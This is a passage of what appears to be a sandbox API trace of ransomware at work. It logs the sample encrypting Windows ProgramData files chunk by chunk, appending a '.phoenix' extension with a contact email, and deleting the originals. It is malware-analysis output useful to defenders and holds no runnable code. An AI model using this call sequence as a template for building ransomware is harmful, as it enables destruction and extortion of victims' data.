	[0225.691] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0225.691] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.704] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0225.704] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.712] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0225.712] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.800] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0225.800] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.820] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0225.820] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.820] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0225.820] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\VortexSchemaRequests.dat" (normalized: "c:\\programdata\\microsoft\\diagnosis\\vortexschemarequests.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.821] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0225.821] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.log" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edb.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.821] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0225.821] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbtmp.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0225.821] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1310720) returned 1
	[0225.821] CloseHandle (hObject=0x2c8) returned 1
	[0225.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbtmp.log")) returned 0x20
	[0225.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbtmp.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.822] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbtmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0225.822] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0225.822] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0225.822] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbtmp.log.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0225.825] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151580) returned 1
	[0225.825] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0225.826] ReadFile (in: hFile=0x2c8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x110100, lpOverlapped=0x0) returned 1
	[0225.845] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110100, dwBufLen=0x110100 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110100) returned 1
	[0225.846] WriteFile (in: hFile=0x2e4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110100, lpOverlapped=0x0) returned 1
	[0225.998] ReadFile (in: hFile=0x2c8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x2ff00, lpOverlapped=0x0) returned 1
	[0225.999] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2ff10, dwBufLen=0x2ff10 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2ff10) returned 1
	[0225.999] WriteFile (in: hFile=0x2e4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x2ff10, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x2ff10, lpOverlapped=0x0) returned 1
	[0226.003] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151640) returned 1
	[0226.003] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0226.003] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0226.003] CryptDestroyKey (hKey=0x151640) returned 1
	[0226.003] WriteFile (in: hFile=0x2e4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0226.003] CryptDestroyKey (hKey=0x151580) returned 1
	[0226.003] CloseHandle (hObject=0x2c8) returned 1
	[0226.003] CloseHandle (hObject=0x2e4) returned 1
	[0226.477] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbtmp.log")) returned 1
	[0226.480] SetEvent (hEvent=0x298) returned 1
	[0226.480] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0226.480] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0226.481] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=271) returned 1
	[0226.481] CloseHandle (hObject=0x2e4) returned 1
	[0226.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\masterdatastore.xml")) returned 0x20
	[0226.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.481] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0226.481] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0226.481] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0226.481] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0226.482] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151380) returned 1
	[0226.482] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0226.482] ReadFile (in: hFile=0x2e4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x10f, lpOverlapped=0x0) returned 1
	[0226.492] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0226.492] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0226.493] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151580) returned 1
	[0226.493] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0226.493] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0226.493] CryptDestroyKey (hKey=0x151580) returned 1
	[0226.493] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0226.504] CryptDestroyKey (hKey=0x151380) returned 1
	[0226.504] CloseHandle (hObject=0x2e4) returned 1
	[0226.504] CloseHandle (hObject=0x2c8) returned 1
	[0226.505] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\masterdatastore.xml")) returned 1
	[0226.506] SetEvent (hEvent=0x298) returned 1
	[0226.507] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0226.507] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0226.507] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1439) returned 1
	[0226.507] CloseHandle (hObject=0x2c8) returned 1
	[0226.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml")) returned 0x20
	[0226.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.507] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0226.507] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0226.507] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0226.508] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0226.531] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1510c0) returned 1
	[0226.531] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0226.531] ReadFile (in: hFile=0x2c8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x59f, lpOverlapped=0x0) returned 1
	[0226.533] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x5a0, dwBufLen=0x5a0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x5a0) returned 1
	[0226.533] WriteFile (in: hFile=0x2e4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x5a0, lpOverlapped=0x0) returned 1
	[0226.534] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151580) returned 1
	[0226.534] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0226.534] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0226.534] CryptDestroyKey (hKey=0x151580) returned 1
	[0226.534] WriteFile (in: hFile=0x2e4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0226.535] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0226.535] CloseHandle (hObject=0x2c8) returned 1
	[0226.535] CloseHandle (hObject=0x2e4) returned 1
	[0226.535] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml")) returned 1
	[0226.536] SetEvent (hEvent=0x298) returned 1
	[0226.536] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0226.536] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0226.537] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=271) returned 1
	[0226.537] CloseHandle (hObject=0x2e4) returned 1
	[0226.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\masterdatastore.xml")) returned 0x20
	[0226.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.537] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0226.537] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0226.537] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0226.537] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0226.537] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1511c0) returned 1
	[0226.537] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0226.537] ReadFile (in: hFile=0x2e4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x10f, lpOverlapped=0x0) returned 1
	[0226.898] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0226.898] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0226.899] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151040) returned 1
	[0226.899] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0226.899] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0226.900] CryptDestroyKey (hKey=0x151040) returned 1
	[0226.900] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0226.900] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0226.900] CloseHandle (hObject=0x2e4) returned 1
	[0226.900] CloseHandle (hObject=0x2c8) returned 1
	[0226.904] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\masterdatastore.xml")) returned 1
	[0226.905] SetEvent (hEvent=0x298) returned 1
	[0226.905] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0226.905] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0226.905] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=5080) returned 1
	[0226.905] CloseHandle (hObject=0x2c8) returned 1
	[0226.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml")) returned 0x20
